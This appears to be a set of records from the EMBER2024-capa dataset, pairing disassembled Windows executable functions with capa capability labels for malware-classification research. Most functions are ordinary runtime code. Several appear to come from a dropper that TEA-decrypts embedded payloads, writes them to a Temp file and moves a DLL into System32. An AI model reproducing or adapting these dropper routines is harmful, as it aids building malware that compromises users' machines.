joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400ebc20
Capabilities:
Clear file content

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
mov rbx, rdx
mov rsi, r8
xor edx, edx
mov r14d, ecx
lea r8d, [rdx + 1]
call fcn.1400350f4
xor edx, edx
mov ecx, r14d
mov r12, rax
lea r8d, [rdx + 2]
call fcn.1400350f4
mov rbp, rbx
sub rbp, rax
cmp r12, 0xffffffffffffffff
je 0x1400ebd70
cmp rax, 0xffffffffffffffff
je 0x1400ebd70
xor edi, edi
test rbp, rbp
jle 0x1400ebd1b
lea edx, [rdi + 1]
mov ecx, 0x1000
call fcn.14001d674
mov rbx, rax
test rax, rax
jne 0x1400ebca8
lea edi, [rax + 0xc]
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], edi
jmp 0x1400ebd11
mov edx, 0x8000
mov ecx, r14d
call fcn.140018410
mov r15d, eax
mov eax, 0x1000
mov r8d, ebp
cmp rbp, rax
mov r9, rsi
mov rdx, rbx
mov ecx, r14d
cmovge r8d, eax
call fcn.1400325e4
cmp eax, 0xffffffff
je 0x1400ebcf1
cdqe
sub rbp, rax
test rbp, rbp
jg 0x1400ebcb8
mov edx, r15d
mov ecx, r14d
call fcn.140018410
jmp 0x1400ebd11
cmp byte [rsi + 0x38], dil
je 0x1400ebd08
cmp dword [rsi + 0x34], 5
jne 0x1400ebd08
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], reloc.WS2_32.dll_listen
cmp byte [rsi + 0x30], dil
je 0x1400ebd11
mov edi, dword [rsi + 0x2c]
mov rcx, rbx
call fcn.14001ce3c
jmp 0x1400ebd84
jns 0x1400ebd84
xor r8d, r8d
mov rdx, rbx
mov ecx, r14d
call fcn.1400350f4
cmp rax, 0xffffffffffffffff
jne 0x1400ebd3c
cmp byte [rsi + 0x30], dil
je 0x1400ebd84
mov edi, dword [rsi + 0x2c]
jmp 0x1400ebd84
mov ecx, r14d
call fcn.140021ca4
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x1400ebd84
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov byte [rsi + 0x38], 1
mov edi, reloc.WS2_32.dll_listen
mov dword [rsi + 0x34], eax
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], reloc.WS2_32.dll_listen
jmp 0x1400ebd84
xor edi, edi
cmp byte [rsi + 0x30], dil
je 0x1400ebd7d
mov eax, dword [rsi + 0x2c]
jmp 0x1400ebd82
mov eax, socket
mov edi, eax
xor r8d, r8d
mov rdx, r12
mov ecx, r14d
call fcn.1400350f4
mov rbx, qword [rsp + 0x40]
mov eax, edi
mov rdi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop r12
ret
Function at 0x140001487
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov rax, qword [0x1400a3d70]
mov dword [rax], 1
mov rax, qword [0x1400a3d80]
mov dword [rax], 1
mov rax, qword [0x1400a3d90]
mov dword [rax], 1
mov rax, qword [0x1400a3d10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x1400014d8
mov eax, 0
jmp 0x140001585
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x140001504
mov eax, 0
jmp 0x140001585
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
movzx eax, ax
cmp eax, 0x10b
je 0x14000152a
cmp eax, 0x20b
je 0x140001551
jmp 0x140001580
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0x5c]
cmp eax, 0xe
ja 0x14000153d
mov eax, 0
jmp 0x140001585
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0xd0]
test eax, eax
setne al
movzx eax, al
jmp 0x140001585
mov rax, qword [rbp - 0x18]
mov qword [rbp - 0x20], rax
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0x6c]
cmp eax, 0xe
ja 0x14000156c
mov eax, 0
jmp 0x140001585
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0xe0]
test eax, eax
setne al
movzx eax, al
jmp 0x140001585
mov eax, 0
add rsp, 0x20
pop rbp
ret

Function at 0x140004770
Capabilities:
Query environment variable

Disassembly:
push r13
mov eax, 0x10078
push r12
call fcn.14008ccd0
sub rsp, rax
xor eax, eax
mov r8d, 0x28
mov rdx, rcx
lea r12, [rsp + 0x20]
xor ecx, ecx
mov word [rsp + 0x70], ax
mov word [rsp + 0x20], cx
lea r13, [rsp + 0x70]
mov rcx, r12
call fcn.14002abb0
mov rdx, r13
mov r8d, 0x10000
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
lea edx, [rax - 1]
xor eax, eax
cmp edx, 0xffff
ja 0x1400047d1
mov rcx, r13
call sub.msvcrt.dll__wcsdup
add rsp, 0x10078
pop r12
pop r13
ret

Function at 0x1400047e0
Capabilities:
Set environment variable

Disassembly:
push r13
push r12
sub rsp, 0x78
xor eax, eax
mov r8d, 0x28
lea r13, [rsp + 0x20]
mov r12, rdx
mov rdx, rcx
mov word [rsp + 0x20], ax
mov rcx, r13
call fcn.14002abb0
mov rdx, r12
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
nop
add rsp, 0x78
pop r12
pop r13
ret
Function at 0x140004a40
Capabilities:
Set environment variable

Disassembly:
push r15
push r14
push r13
push r12
sub rsp, 0x78
mov r15, rcx
mov r14, rdx
call fcn.1400230a0
lea rdx, str.environ
mov rcx, rax
call qword [sym.imp.python310.dll_PyObject_GetAttrString]
mov rcx, r15
mov r12, rax
call qword [sym.imp.python310.dll_PyUnicode_FromString]
mov r13, rax
test r14, r14
je 0x140004af4
mov rdx, r14
mov rcx, r15
call fcn.1400047e0
mov rcx, r14
mov rdx, 0xffffffffffffffff
call sub.python310.dll_PyUnicode_FromWideChar
mov rdx, r13
mov rcx, r12
mov r14, rax
mov r8, rax
call qword [sym.imp.python310.dll_PyObject_SetItem]
test eax, eax
jne 0x140004b33
sub qword [r14], 1
jne 0x140004abd
mov rcx, r14
call fcn.1400049b0
sub qword [r13], 1
jne 0x140004acc
mov rcx, r13
call fcn.1400049b0
sub qword [r12], 1
jne 0x140004ae7
mov rcx, r12
add rsp, 0x78
pop r12
pop r13
pop r14
pop r15
jmp fcn.1400049b0
add rsp, 0x78
pop r12
pop r13
pop r14
pop r15
ret
lea r14, [rsp + 0x20]
mov r8d, 0x28
mov rdx, r15
mov word [rsp + 0x20], 0
mov rcx, r14
call fcn.14002abb0
xor edx, edx
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov rdx, r13
mov rcx, r12
call qword [sym.imp.python310.dll_PyObject_DelItem]
test eax, eax
je 0x140004abd
call fcn.1400049c0
jmp 0x140004abd
mov ecx, 1
call qword [sym.imp.python310.dll_PyErr_PrintEx]
mov ecx, 1
call qword [sym.imp.python310.dll_Py_Exit]
nop
nop word [rax + rax]
Function at 0x140083aa0
Capabilities:
Encode data using xor
Extract resource via kernel32 functions
Hash data with crc32

Disassembly:
push r12
push rdi
push rsi
push rbx
sub rsp, 0x28
cmp byte [0x1400b4251], 0
mov r12, rcx
mov rdi, rdx
je 0x140083b28
lea rdx, [0x1400a2672]
mov rcx, rdi
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x140083c40
mov rsi, qword [0x1400b4108]
jmp 0x140083ae5
lea rsi, [rdx + rax + 4]
mov rdx, rsi
mov rcx, rdi
call sub.msvcrt.dll_strcmp
mov rcx, rsi
mov ebx, eax
call sub.msvcrt.dll_strlen
lea rdx, [rsi + rax + 1]
mov eax, dword [rdx]
test ebx, ebx
jne 0x140083ae0
movzx r8d, word [rdx + 4]
lea r9, [rdx + 6]
mov rcx, r12
mov rdx, r9
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop r12
jmp fcn.140071510
mov r8d, 0xa
mov edx, 3
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindResourceA]
xor ecx, ecx
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov qword [0x1400b4108], rax
mov rdx, rax
mov r9d, dword [rax]
lea rax, [rax + 4]
mov qword [0x1400b4108], rax
mov eax, dword [rdx + 4]
lea rcx, [rdx + 8]
mov qword [0x1400b4108], rcx
test eax, eax
je 0x140083c28
sub eax, 1
lea r8, [rdx + rax + 9]
mov eax, 0xffffffff
nop word [rax + rax]
movzx edx, byte [rcx]
xor edx, eax
mov eax, edx
and edx, 1
neg edx
shr eax, 1
and edx, 0xedb88320
xor eax, edx
mov edx, eax
and eax, 1
neg eax
shr edx, 1
and eax, 0xedb88320
xor edx, eax
mov eax, edx
and edx, 1
neg edx
shr eax, 1
and edx, 0xedb88320
xor eax, edx
mov edx, eax
and eax, 1
neg eax
shr edx, 1
and eax, 0xedb88320
xor edx, eax
mov eax, edx
and edx, 1
neg edx
shr eax, 1
and edx, 0xedb88320
xor eax, edx
mov edx, eax
and eax, 1
neg eax
shr edx, 1
and eax, 0xedb88320
xor edx, eax
mov eax, edx
shr eax, 1
and edx, 1
add rcx, 1
neg edx
and edx, 0xedb88320
xor eax, edx
mov edx, eax
and eax, 1
neg eax
shr edx, 1
and eax, 0xedb88320
xor eax, edx
cmp r8, rcx
jne 0x140083b90
not eax
cmp r9d, eax
jne 0x140083cc7
mov byte [0x1400b4251], 1
jmp 0x140083ab8
cmp byte [0x1400b4250], 0
jne 0x140083acf
mov rbx, qword [sym.imp.python310.dll_PyDict_New]
call rbx
mov qword [0x1400b4b88], rax
call rbx
mov qword [0x1400b4b80], rax
call rbx
mov qword [0x1400b4b78], rax
call rbx
mov qword [0x1400b4b70], rax
call rbx
mov qword [0x1400b4b68], rax
call rbx
mov qword [0x1400b4b60], rax
call rbx
mov qword [0x1400b4b58], rax
call rbx
mov byte [0x1400b4250], 1
mov qword [0x1400b4b50], rax
mov rax, qword [sym.imp.python310.dll__PyRuntime]
mov rax, qword [rax + 0x1f0]
mov rax, qword [rax + 0x10]
add rax, 0xda0
mov qword [0x1400b4100], rax
jmp 0x140083acf
lea rcx, str.Error__corrupted_constants_object
call sub.msvcrt.dll_puts
call sub.msvcrt.dll_abort
nop
nop dword [rax]
Function at 0x14008b9d0
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call fcn.140093680
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sub.msvcrt.dll_fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call fcn.140093680
mov r8, rbx
mov rdx, qword [rbp + 0x20]
mov rcx, rax
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop

Function at 0x14008c682
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x1400b5048]
test eax, eax
je 0x14008c71a
lea rax, [0x1400b5020]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x1400b5050]
mov qword [rbp - 8], rax
jmp 0x14008c6fe
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x14008c6f2
cmp qword [rbp - 0x10], 0
je 0x14008c6f2
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x14008c6b8
lea rax, [0x1400b5020]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x14008c71b
nop
add rsp, 0x30
pop rbp
ret

Function at 0x14008c820
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x14008c848
mov eax, 0
jmp 0x14008c896
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x14008c871
mov eax, 0
jmp 0x14008c896
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x14008c891
mov eax, 0
jmp 0x14008c896
mov eax, 1
add rsp, 0x20
pop rbp
ret
Function at 0x14008c89c
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x14008c91a
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x14008c911
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x14008c911
mov rax, qword [rbp - 8]
jmp 0x14008c92f
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x14008c8e4
mov eax, 0
add rsp, 0x20
pop rbp
ret

Function at 0x100403a20
Capabilities:
Encode data using xor

Disassembly:
xor al, 0x6c
xor al, 0x64
xor al, 0x67
xor al, 0x41
xor al, 0x3e
xor al, 0x7d
xor al, 0xa2
xor al, 0x9a
xor al, 0xa3
xor al, 0x88
xor al, 0x9d
xor al, 0xa4
xor al, 0x71
xor al, 0x74
xor al, 0x59
xor al, 0x87
xchg dword [rbp*4 - 0x57cb58cc], esi
xor al, 0x99
xor al, 0xa1
xor al, 0x86
xor al, 0xa3
xor al, 0xa3
movabs dword [0xa73490345934a834], eax
xor al, 0xad
xor al, 0xa7
xor al, 0xa8
xor al, 0x99
cdq
xor al, 0xa1
xor al, 0x67
xor al, 0x66
xor al, 0x90
xor al, 0xa7
xor al, 0x9c
xor al, 0x99
xor al, 0xa0
xor al, 0xa0
xor al, 0x67
xor al, 0x66
xor al, 0x62
Function at 0x180001000
Capabilities:
Move file
Query environment variable

Disassembly:
sub rsp, 0x78
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x68], rax
dec edx
jne 0x1800011ba
call fcn.1800011e0
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, str.NtQuerySystemInformation
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1800452c0], rax
test rax, rax
je 0x180001076
xor r9d, r9d
lea rdx, [rsp + 0x30]
lea r8d, [r9 + 0x20]
lea ecx, [r9 + 3]
call rax
mov r9, qword [rsp + 0x30]
lea r8, str._I64X
lea rcx, [rsp + 0x50]
mov edx, 0x14
call fcn.180001a20
lea rax, str.1DA9AFCDCD9F3CF
lea r8, [rsp + 0x50]
sub r8, rax
nop word [rax + rax]
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x1800010a3
inc rax
test ecx, ecx
jne 0x180001090
test edx, edx
je 0x1800011b0
cmp dword [0x1800452bc], 0
jne 0x1800011b0
lea rcx, [0x180010a40]
mov qword [rsp + 0x80], rbx
mov dword [0x1800452bc], 1
mov qword [rsp + 0x70], rdi
call fcn.1800011e0
call fcn.180001330
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.180001200
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.1800014f0
mov ecx, 0x400
call fcn.180001aa8
mov ecx, 0x400
mov rbx, rax
call fcn.180001aa8
lea rcx, [0x180010c50]
mov r8d, 0x400
mov rdx, rbx
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
mov r8d, 0x1000
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetShortPathNameA]
mov rcx, rbx
call fcn.180001a68
mov ecx, 0x400
call fcn.180001aa8
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetTickCount]
lea r9, str._s_d.iao
mov dword [rsp + 0x28], eax
or r8, 0xffffffffffffffff
mov edx, 0x400
mov rcx, rbx
mov qword [rsp + 0x20], rdi
call fcn.180001a44
lea rcx, str.c:windows_system32mstracer.dll
mov rdx, rbx
call qword [sym.imp.KERNEL32.dll_MoveFileA]
mov rcx, rdi
call fcn.180001a68
mov rcx, rbx
call fcn.180001a68
call fcn.1800011e0
mov rdi, qword [rsp + 0x70]
mov rbx, qword [rsp + 0x80]
call fcn.1800011e0
call fcn.1800011e0
mov eax, 1
mov rcx, qword [rsp + 0x68]
xor rcx, rsp
call fcn.180001a00
add rsp, 0x78
ret
Function at 0x180001200
Capabilities:
Decrypt data using tea
Encode data using xor
Write file on windows

Disassembly:
push rbx
sub rsp, 0x40
movss xmm0, dword [0x180010c5c]
xor ebx, ebx
call fcn.18000cc40
movaps xmm5, xmm0
comiss xmm5, dword [0x180010c54]
jbe 0x1800012ac
lea rdx, [0x18003a5f0]
nop dword [rax]
mov r8d, dword [rdx]
mov r9d, dword [rdx + 4]
mov r10d, 0xc6ef3720
mov r11d, 0x20
mov ecx, r8d
mov eax, r8d
shl ecx, 4
shr eax, 5
add ecx, 0x4553926a
add eax, 0x3a3ba95f
xor ecx, eax
lea eax, [r10 + r8]
xor ecx, eax
sub r9d, ecx
mov ecx, r9d
mov eax, r9d
shr ecx, 5
shl eax, 4
add ecx, 0x16ab5973
sub eax, 0x61bcd54a
xor ecx, eax
lea eax, [r10 + r9]
add r10d, 0x61c88647
xor ecx, eax
sub r8d, ecx
dec r11
jne 0x180001243
inc ebx
mov dword [rdx], r8d
mov dword [rdx + 4], r9d
add rdx, 8
movd xmm0, ebx
cvtdq2ps xmm0, xmm0
comiss xmm5, xmm0
ja 0x180001230
mov qword [rsp + 0x30], 0
lea rcx, str.C:UsersLisaAppDataLocalTempMSServerTypeLib63149.dat
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
mov dword [rsp + 0x28], 0x80000080
mov dword [rsp + 0x20], 2
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x180001324
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
lea r9, [rsp + 0x50]
lea rdx, [0x18003a5f0]
mov r8d, 0x9a00
mov rcx, rbx
mov qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
add rsp, 0x40
pop rbx
ret
Function at 0x180001330
Capabilities:
Decrypt data using tea
Encode data using xor
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x460
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x450], rax
movss xmm0, dword [0x180010c58]
xor ebx, ebx
call fcn.18000cc40
movaps xmm5, xmm0
comiss xmm5, dword [0x180010c54]
jbe 0x180001409
lea rdx, [0x1800145f0]
nop word [rax + rax]
mov edi, dword [rdx]
mov r8d, dword [rdx + 4]
mov r9d, 0xc6ef3720
mov r10d, 0x20
nop word [rax + rax]
mov ecx, edi
mov eax, edi
shl ecx, 4
shr eax, 5
add ecx, 0x4553926a
add eax, 0x3a3ba95f
xor ecx, eax
lea eax, [r9 + rdi]
xor ecx, eax
sub r8d, ecx
mov ecx, r8d
mov eax, r8d
shr ecx, 5
shl eax, 4
add ecx, 0x16ab5973
sub eax, 0x61bcd54a
xor ecx, eax
lea eax, [r9 + r8]
add r9d, 0x61c88647
xor ecx, eax
sub edi, ecx
dec r10
jne 0x1800013a0
inc ebx
mov dword [rdx], edi
mov dword [rdx + 4], r8d
add rdx, 8
movd xmm0, ebx
cvtdq2ps xmm0, xmm0
comiss xmm5, xmm0
ja 0x180001380
lea rcx, [rsp + 0x51]
xor edx, edx
mov r8d, 0x3ff
mov byte [rsp + 0x50], 0
call fcn.180002570
xor edx, edx
lea rcx, str.C:UsersLisaAppDataLocalTempMSServerTypeLib63149.dat
nop dword [rax]
movzx eax, byte [rdx + rcx]
inc rdx
mov byte [rsp + rdx + 0x4f], al
test al, al
jne 0x180001430
xor eax, eax
or rcx, 0xffffffffffffffff
mov qword [rsp + 0x30], 0
lea rdi, [rsp + 0x50]
xor r9d, r9d
xor r8d, r8d
repne scasb al, byte [rdi]
movzx eax, word [0x180010b74]
lea rcx, [rsp + 0x50]
mov edx, 0x40000000
mov dword [rsp + 0x28], 0x80000080
mov word [rdi - 1], ax
mov dword [rsp + 0x20], 2
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x1800014cd
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
lea r9, [rsp + 0x40]
lea rdx, [0x1800145f0]
mov r8d, 0x26000
mov rcx, rdi
mov qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x450]
xor rcx, rsp
call fcn.180001a00
mov rbx, qword [rsp + 0x470]
add rsp, 0x460
pop rdi
ret
Function at 0x140001010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x1401b2a40]
xor ecx, ecx
mov dword [rax], 1
mov rax, qword [0x1401b2a50]
mov dword [rax], 1
mov rax, qword [0x1401b2a60]
mov dword [rax], 1
mov rax, qword [0x1401b29d0]
cmp word [rax], 0x5a4d
jne 0x14000105a
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400010c0
mov rax, qword [0x1401b2a30]
mov dword [0x1401c800c], ecx
mov eax, dword [rax]
test eax, eax
je 0x1400010b0
mov ecx, 2
call sym.__set_app_type
call sym.__p__fmode
mov rdx, qword [0x1401b2b10]
mov edx, dword [rdx]
mov dword [rax], edx
call sym.__p__commode
mov rdx, qword [0x1401b2af0]
mov edx, dword [rdx]
mov dword [rax], edx
call sym._setargv
mov rax, qword [0x1401b2980]
cmp dword [rax], 1
je 0x1400010f8
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x140001077
movzx edx, word [rax + 0x18]
cmp dx, 0x10b
je 0x140001110
cmp dx, 0x20b
jne 0x14000105a
cmp dword [rax + 0x84], 0xe
jbe 0x14000105a
mov edx, dword [rax + 0xf8]
xor ecx, ecx
test edx, edx
setne cl
jmp 0x14000105a
mov rcx, qword [sym._matherr]
call sym.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x14000105a
mov r8d, dword [rax + 0xe8]
xor ecx, ecx
test r8d, r8d
setne cl
jmp 0x14000105a

Function at 0x140013570
Capabilities:
Get thread local storage value

Disassembly:
sub rsp, 0x68
mov qword [rsp + 0x28], rcx
mov byte [rsp + 0x3b], 2
mov qword [rsp + 0x40], rcx
mov rax, rcx
add rax, 0x18
mov qword [rsp + 0x48], rax
mov rax, rcx
add rax, 0x18
mov qword [rsp + 0x50], rax
add rcx, 0x18
mov edx, 2
call dbg.atomic_load<u32>
mov dword [rsp + 0x34], eax
mov dword [rsp + 0x5c], eax
cmp eax, 0
jne 0x1400135c6
mov rcx, qword [rsp + 0x28]
call sym.std::sys::pal::windows::thread_local_key::StaticKey::init::h5de71481a5c7d3e8
mov dword [rsp + 0x3c], eax
jmp 0x1400135d1
mov eax, dword [rsp + 0x34]
sub eax, 1
mov dword [rsp + 0x3c], eax
mov ecx, dword [rsp + 0x3c]
call sub.KERNEL32.dll_TlsGetValue
mov qword [rsp + 0x60], rax
add rsp, 0x68
ret

Function at 0x1400135f0
Capabilities:
Set thread local storage value

Disassembly:
sub rsp, 0x78
mov qword [rsp + 0x28], rdx
mov qword [rsp + 0x30], rcx
lea rax, [0x1401863e8]
mov qword [rsp + 0x40], rax
mov byte [rsp + 0x4a], 0
mov byte [rsp + 0x4b], 2
mov qword [rsp + 0x50], rcx
mov qword [rsp + 0x58], rdx
mov rax, rcx
add rax, 0x18
mov qword [rsp + 0x60], rax
mov rax, rcx
add rax, 0x18
mov qword [rsp + 0x68], rax
add rcx, 0x18
mov edx, 2
call dbg.atomic_load<u32>
mov dword [rsp + 0x3c], eax
mov dword [rsp + 0x70], eax
cmp eax, 0
jne 0x140013661
mov rcx, qword [rsp + 0x30]
call sym.std::sys::pal::windows::thread_local_key::StaticKey::init::h5de71481a5c7d3e8
mov dword [rsp + 0x4c], eax
jmp 0x14001366c
mov eax, dword [rsp + 0x3c]
sub eax, 1
mov dword [rsp + 0x4c], eax
mov rdx, qword [rsp + 0x28]
mov ecx, dword [rsp + 0x4c]
call fcn.14011a9f4
mov dword [rsp + 0x74], eax
add rsp, 0x78
ret